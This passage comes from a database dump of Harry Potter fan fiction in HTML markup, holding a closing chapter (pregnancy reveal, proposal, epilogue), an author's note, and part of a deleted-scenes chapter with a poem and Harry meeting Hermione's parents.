moved and sat down at the table as she turned and\nlevitated the dishes over. &#8220;First,&#8221; she said as she lit the candles, &#8220;We have <i style="mso-bidi-font-style:normal">baby</i> peas, mixed with <i style="mso-bidi-font-style:normal">baby</i> corn and <i style="mso-bidi-font-style:\nnormal">baby</i> carrots. Then, we have <i style="mso-bidi-font-style:normal">baby</i>\nback ribs for the main meal.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds great!&#8221;\nHarry said, digging in as Hermione set the full plate in front of him. She\nlooked at him a second, then began to eat her own meal. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you notice\nanything&#8230; special&#8230; about the food?&#8221; Hermione asked a few minutes later. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up\nat her, swallowing. &#8220;Um&#8230;&#8221; he looked back down at his plate for a few seconds.\n&#8220;Finger foods?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione fought a\nsmile. Men could be so daft sometimes. &#8220;Think harder Harry, just a little.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked back\ndown at his half eaten meal again. &#8220;Baby peas, baby corn, baby&#8230;&#8221; Suddenly he\nlooked up, shock written across his face. &#8220;Baby?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione could no\nlonger keep back the large grin. &#8220;Yes Harry! We&#8217;re going to have a baby!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared at\nher in disbelief. &#8220;You&#8217;re&#8230; we&#8230;. baby?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione started\nto laugh. &#8220;Yes! It&#8217;s why I&#8217;ve been so sick these past few weeks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A smile spread\nacross his face. He was going to be a father. A father! &#8220;This is just\nfantastic!&#8221; he cried, pushing his chair back and rushing over to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few tears\nescaped her eyes as Harry enveloped her in a large hug. &#8220;Blaise asked how you\nwould react and I said you would be happy to hear about this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m more than\nhappy!&#8221; Harry said. &#8220;God, Hermione&#8230; this is the best thing you could have ever\ntold me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad you&#8217;re\nas excited as I am.&#8221; Hermione pulled away, wiping at her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How far along\nare you?&#8221; Harry asked, brushing away a few escaped locks of hair from her\nponytail.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two months.&#8221; She\nanswered, smiling as Harry moved his hand along her stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Baby tee shirt.&#8221;\nHe grinned and Hermione laughed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t think\nyou&#8217;ll feel anything in there yet.&#8221; She said. &#8220;Give it another three months.&#8221;\nHarry straightened back up as Hermione wrapped her arms around him. &#8220;Then I&#8217;ll\nbe mood swinging with tons of awful cravings you&#8217;ll have to fill.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve got a\ncraving right now and it isn&#8217;t for food.&#8221; Harry said, running his eyes over her\nlustfully. He scooped her up and the meal was forgotten as Harry&#8217;s bedroom door\nslammed behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled at\nthe bottom of his burgundy jumper as he went through the front door of Draco&#8217;s\nflat. He was meeting up with his best friend and Daniela and then they were all\nheading over to meet Hermione, Blaise and Ron for dinner. He grinned to\nhimself, thinking of his friends&#8217; reactions when he and Hermione shared their\nnews. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco?&#8221; he\ncalled, going through the hallway. &#8220;Hello?&#8221; Harry went into the living room and\nstopped short.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what happens\nif I put my hand up there?&#8221; Draco asked, sliding his fingers up and across his\ngirlfriend&#8217;s abdomen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Merlin!&#8221;\nDaniela arched her back, her eyes closing as Draco leaned over and kissed her\nthoroughly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem.&#8221; Harry cleared\nhis throat loudly and Draco and Daniela sprang apart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Draco\ngave his friend a devilish grin. &#8220;When did you get here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A half hour\nago.&#8221; Harry replied, smirking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Voyeur.&#8221; Daniela\ngrinned. It amused Harry to no end to see that neither one of them was\nembarrassed about being caught in the middle of a snog fest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are we meeting\nthem at the restaurant?&#8221; Draco asked, tucking his white shirt into his black\ntrousers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Harry\nreplied. The three of them went outside and apparated to Diagon Alley. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The restaurant\nwas crowded that night, not surprising for a Friday evening. Harry looked\naround for a moment before he spotted Hermione&#8217;s long brown locks next to Ron&#8217;s\nfiery ones. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello gorgeous.&#8221;\nHermione jumped as a pair of arms wound around her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she\nscolded, but he had that mischievous twinkle in his eyes that made her forget\neverything else. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you\nfeeling today?&#8221; he asked quietly after he&#8217;d kissed her hello.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nreplied. &#8220;Sick this morning, but all right this afternoon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; Harry\nkissed her again, letting his lips stay on hers awhile longer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;OI you two!&#8221; Blaise\nshouted. &#8220;We&#8217;ve got a table ready if you guys can pull yourselves apart for a\nminute!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and\nHermione pulled apart and she gave Blaise a look as Harry wrapped his arm back\naround her waist. They were seated at a round table near the back of the\nrestaurant, Hermione, Harry, Draco and Daniela took the booth while Blaise and\nRon opted for chairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What does\neveryone want to drink?&#8221; Ron asked. &#8220;First round is on me.&#8221; The men all agreed\non Ogden&#8217;s Firewhisky while Blaise asked for white\nwine, Daniela asked for red.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pumpkin juice,\nplease.&#8221; Hermione requested. Blaise grinned knowingly at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No wine?&#8221; Ron\nasked in surprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not\ntonight.&#8221; Hermione answered. Ron shrugged and disappeared towards the bar. &nbsp;He was back moments later with drinks, setting\nthem before everyone with a flourish.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what&#8217;s the\nreason for the juice, Hermione?&#8221; Ron asked as she sipped her drink.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can&#8217;t a girl\njust skip alcohol for an evening?&#8221; Hermione joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; they all\nreplied. Harry laughed and wrapped his arm around her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;d better just\ntell them, love.&#8221; He said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell us what?&#8221;\nDraco asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and\nHermione smiled at each other. &#8220;We&#8217;re going to have a baby.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The table was\nsilent for a moment as the shock registered on everyone&#8217;s (except Blaise)\nfaces. Then what happened could only be explained as an explosion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pregnant?&#8221;\nDaniela shrieked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re going to\nbe a father?&#8221; Ron&#8217;s jaw dropped. Blaise laughed at her boyfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That poor kid.&#8221;\nDraco joked. He reached across the table and patted Harry&#8217;s shoulder.\n&#8220;Congratulations!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You knew about\nthis?&#8221; Ron asked his girlfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was there when\nshe found out.&#8221; Blaise said smugly. She extended her hand first to Hermione,\nthen Daniela. &#8220;Come on, we need to use the bathroom.&#8221; The three women walked\noff, leaving their respective men behind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, Harry!&#8221; Ron\nsaid. &#8220;Now that you&#8217;ve knocked her up, when are you making an honest woman of\nher?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave him a\ndirty look as Draco sat back and laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, Harry,\ndon&#8217;t tell me the two of you haven&#8217;t discussed marriage.&#8221; He said, leaning\nforward.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, since you\ntwo brought it up&#8230;&#8221; Harry reached into his pocket and drew out a small box. He\nflipped it open with his finger. &#8220;She doesn&#8217;t know yet though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice.&#8221; Ron said\nin approval. &#8220;You asking her tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I planned on\nit.&#8221; Harry replied. &#8220;Long as you two don&#8217;t spoil it for me.&#8221; He closed the box and put it back in his\npocket. The three of them grinned at each other as the girls came back to the\ntable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\nthree so happy about?&#8221; Daniela asked, kissing Draco as she slipped back in next\nto him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re uh...&#8221; Ron\nlooked to Harry. &#8220;We&#8217;re just celebrating!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Draco\nbroke away from Daniela. &#8220;To you guys!&#8221; He held up his glass and they all did\nthe same. &#8220;May your baby take after Hermione and not Harry, may it be spoiled\nby the rest of us and become the brattiest child in the world&#8230;&#8221; Everyone\nlaughed and toasted to the future.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*** Later That Evening***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where are you\ntaking me?&#8221; Hermione asked, a smile gracing her features.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I told you\nbefore, it&#8217;s a surprise.&#8221; Harry said. When they were leaving the restaurant\nearlier, he had taken her aside and told her he had somewhere to take her.\nAfter blindfolding her, the couple had taken a portkey to Hogsmeade and then\nHarry had taken his broom and was now flying them towards a certain spot that\nheld very fond memories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here we are!&#8221;\nHarry announced a little while later. He helped Hermione off the broom. &#8220;Any\nguesses?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; she\nanswered, obviously curious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;None?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, none!&#8221;\nHermione replied. &#8220;Come on Harry, take the blindfold off!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; He\nlaughed as he untied the silk scarf from around her head. &#8220;Remember this\nplace?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course I do.&#8221;\nHermione said, grinning as she remembered the clearing where Harry had taken\nher on their first date.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I told you we&#8217;d\nbe back.&#8221; He murmured in her ear. &#8220;But who knew it&#8217;d be us plus one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She giggled\nsoftly. &#8220;I love you as much as I did that night, Harry. No, I take that back&#8230;&#8221;\nHermione turned and pulled him close to her. &#8220;I love you more and more each day\nwe&#8217;re together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; He\nechoed, resting his forehead on hers. They stood in silence for a few minutes\nuntil Harry leaned down and took her lips with his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione wound\nher arms around his neck as his went to her waist, his hands splayed across her\nback. Her tongue sought out his almost desperately as they explored each others\nmouths.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;&#8221; Hermione\nsaid as they drew apart slightly. &#8220;What&#8217;s the occasion?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Harry\nsaid, moving his hand down to take hers. &#8220;I brought you here because I wanted\nto ask you something in the same place I realised I loved you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat him pensively. Was he doing what she thought he might be?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry got down on\none knee and her eyes widened. &#8220;Hermione, I love you, and I should have asked\nyou this the second we got out of Hogwarts.&#8221; He swallowed a bit nervously.\n&#8220;Will you marry me?&#8221; One shaky hand held out a small box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s brown\neyes were filled with tears as she took the box in her own trembling fingers. She\npried it open and gasped at the beautifully carved golden band with a solitary\ndiamond set in the middle. &#8220;It&#8217;s&#8230; it&#8217;s beautiful Harry.&#8221; She breathed. A tear\ntrickled down her cheek. &#8220;Yes&#8230; yes of course I&#8217;ll marry you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A smile broke\nacross his face as he got to his feet and gathered her back into his arms. &#8220;I\nlove you&#8230; so much!&#8221; he whispered huskily. He took the ring from the box and\nslipped it over her finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shut her\neyes tightly as Harry crushed her in his embrace again. She could scarcely\nbelieve it, that soon she would be his wife. Harry&#8217;s wife. Harry Potter&#8217;s wife.&nbsp; All of a sudden, she let out a loud squeal\nand started jumping up and down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed at\nher obvious joy as he grabbed her hand and pulled her back to him for another\nlong kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*** Seven Months and Two Weeks Later***</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Potter\nsmiled at her husband as he kissed the top of their daughter&#8217;s head and gently\nset her in the small crib.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know how\nyou get her to stop crying so fast.&#8221; She spoke in a hushed tone as to not wake\nLuna.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s her\ndaddy&#8217;s girl.&#8221; Harry grinned with obvious pride as Hermione came up next to him\nand they both gazed down at their new child. His arm wrapped around her waist\nas she reached in and brushed back the patch of dark hair on Luna&#8217;s head. She\nhad inherited the trademark messy Potter hair and emerald green eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on.&#8221; Harry\nwhispered. &#8220;Let&#8217;s see if we can get out of here without waking her up.&#8221; They\ntiptoed from the room, closing the door behind them without a sound. Once\nsafely in the hallway, Hermione leaned up against the opposite wall as Harry\ncaptured her mouth with his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmmhmm&#8230;.&#8221;\nHermione opened her lips to his tongue and kissed him deeply. &#8220;Harry&#8230; are we\ntrying for another child, because you&#8217;re halfway there already.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sniggered\nquietly. &#8220;I&#8217;ve got a date with my wife in bed&#8230;&#8221; his green eyes took on a dark\ndesirable hue. &#8220;She promised someone once she was going to seduce me&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: *sniffles*\nwow&#8230; I can&#8217;t believe this story is over WAHHH!!! I&#8217;m glad you guys have enjoyed\nit as much as we have! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Be on the lookout\nfor the deleted scenes. No ETA on them yet, but it should probably be soon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Be sure to also\ncheck out the independent works of Heaven and Ryoko Blue as well while you are\nwaiting! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 11, '\n\n\n\n<p class="MsoNormal">Chapter 11: Deleted\nScenes</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">First of all,\nwe&#8217;d like to share a poem written by Mandy. It sums up the whole story rather\nnicely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then, there are\ntwo deleted scenes. The first is where Harry meets Hermione&#8217;s parents, and the\nsecond when Hermione goes with Harry to retrieve a few things from the\nDursleys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We&#8217;d both like to\nthank everyone who took the time to read and review this. Your comments were\nalways appreciated, and we&#8217;re sorry to say there won&#8217;t be a sequel&#8230; there just\nisn&#8217;t the right story for it, you know?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Keep an eye out\nfor the story Bridge to Caliadrien; we&#8217;re going to pick that one back up now\nthat AoS is finished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AoS Poem:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I stare at you</p>\n\n<p class="MsoNormal">Could it be?</p>\n\n<p class="MsoNormal">That I just saw </p>\n\n<p class="MsoNormal">You looking back\nat me</p>\n\n<p class="MsoNormal">If only you knew</p>\n\n<p class="MsoNormal">What\'s really\ngoing on,</p>\n\n<p class="MsoNormal">I have a feeling\nwhat we have</p>\n\n<p class="MsoNormal">Would be long\ngone</p>\n\n<p class="MsoNormal">A stupid bet </p>\n\n<p class="MsoNormal">That was made</p>\n\n<p class="MsoNormal">Yet somehow</p>\n\n<p class="MsoNormal">Its goal seemed\nto fade</p>\n\n<p class="MsoNormal">What I really\nwant</p>\n\n<p class="MsoNormal">Is not in your\nbed</p>\n\n<p class="MsoNormal">But for &quot;I\nlove you&quot;</p>\n\n<p class="MsoNormal">To be said</p>\n\n<p class="MsoNormal">To find a love\nthat </p>\n\n<p class="MsoNormal">Without it you\ncould not function</p>\n\n<p class="MsoNormal">Is the true</p>\n\n<p class="MsoNormal">Art of Seduction</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Deleted Scene 1:\nHarry meets the Grangers</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped off\nthe Hogwarts train and held his hand out to help his girlfriend down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you\nHarry.&#8221; Hermione beamed at him and gave him a quick kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Harry\ngrinned and curled his fingers around hers. Blaise and Ron got down a moment\nlater and then the foursome went to find their trunks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here&#8230;got it&#8230;&#8221;\nHarry grunted, staggering slightly under the weight of Hermione&#8217;s trunk. He\nnearly dropped it at her feet, panting lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I could have\ngotten it, but thanks Harry.&#8221; Hermione tried not to laugh at his flushed face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No problem.&#8221;\nHarry replied. Blaise was currently rewarding Ron for retrieving her luggage as\nHarry saw his own trunk being tossed from the train. He grabbed it and set it\nnext to Hermione&#8217;s. He sat down next to her and she placed her hand on his\nknee.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right\nthere?&#8221; she asked teasingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m just fine&#8230;&#8221;\nHarry started to say, but had an idea. &#8220;Actually, I got hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did?&#8221;\nHermione feigned shock. &#8220;Where?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right\nhere.&#8221; Harry pointed to\nhis lower lip and leaned in. &#8220;It hurts a lot, it needs to be kissed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled\nslightly as Harry&#8217;s mouth pressed against hers, she opened her lips underneath\nhis and curved her hand around the back of his neck as his tongue slid into her\nmouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oy, POTTER!&#8221;\nDraco Malfoy screamed across the platform. &#8220;Let&#8217;s GO!!&#8221; Draco had been\nstrangely buoyant ever since boarding the train at Hogsmeade, possibly because\nhe had been signed on as Seeker on a professional Quidditch team, or perhaps\nbecause he was moving into his own flat with Harry that very same day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry broke apart\nfrom Hermione and turned to glare at his friend. &#8220;I&#8217;ll meet you out there!&#8221; he\ncalled back, annoyed that his moment had passed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on,&#8221;\nHermione was standing up and straightening her Muggle jeans and tank top. &#8220;My\nparents are waiting for me over there. I want you to meet them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your&#8230; parents?&#8221; Harry gulped. Meeting a girl&#8217;s parents was a\nnerve wracking experience he had yet to encounter, but it seemed he was about\nto face it finally. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, silly.&#8221;\nHermione said as he stood up. She saw the apprehension written all over his\nface and hugged him reassuringly. &#8220;Don&#8217;t worry; they&#8217;ll love you as much as I\ndo.&#8221; She brushed his black bangs back and smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry couldn&#8217;t\nhelp but smile back. &#8220;I wish I had parents for you to meet.&#8221; He replied\nquietly. &#8220;I&#8217;m sure they would have loved you too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took his\nhand and squeezed it gently. &#8220;I&#8217;m glad.&#8221; She said, kissing him once more on the\nlips. &#8220;Come on!&#8221; she said again, keeping one hand in his, grabbing her trunk\nwith the other. &#8220;Blaise, I&#8217;ll meet you on the other side, okay?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Blaise\nreplied, and went back to snogging Ron. Harry stifled a laugh and grabbed his\ntrunk. Hand in hand, they went through the barrier. There was a couple standing\non just the other side that Harry immediately recognized as her parents.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and her\nmother looked a lot alike, with the same bushy brown hair and slender figure.\nShe had her father&#8217;s brown eyes however, and carried herself much of the same\nway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum! Dad!&#8221; Hermione cried happily as she hugged both her parents\ntightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stepped\nback and tried to flatten down his messy hair. Hermione broke away from her\nparents and turned to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is Harry.&#8221;\nHermione took his hand in hers. &#8220;He&#8217;s the one I wrote to you about&#8230;&#8221; her face\nturned a slight shade of red.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Her\nfather put his hand out. &#8220;Nice to meet you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s nice to\nmeet you too, Mr. Granger, Mrs. Granger.&#8221; Harry replied politely, shaking each\nof their hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well we&#8217;ve heard\nso much about you from Hermione.&#8221; Her mother said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum!&#8221; Hermione&#8217;s\nface was even redder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You will have to\ncome join us one night soon for dinner Harry. Hermione&#8217;s mother and I would\nlike to get to know you better.&#8221; Harry nodded, still a bit nervous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; He\nreplied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum! Dad!&#8221; a\nsquealing voice came from behind them. Blaise threw herself at Mr. and Mrs.\nGranger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello Blaise&#8230;&#8221;\nMrs. Granger chuckled as she received a large hug from her daughter&#8217;s best\nfriend. The girl had become like another child to them over the past seven\nyears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, meeting\nthe parents are you Harry?&#8221; Blaise gave him a wicked grin. &#8220;He&#8217;s been a perfect\ngentleman to your baby; I&#8217;ve been keeping an eye on him for you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked\nabsolutely mortified, and Hermione took his hand. &#8220;Don&#8217;t worry, Blaise is just\nbeing funny.&#8221; She said, giving his fingers a gentle squeeze. &#8220;Besides, she has\nbeen occupied 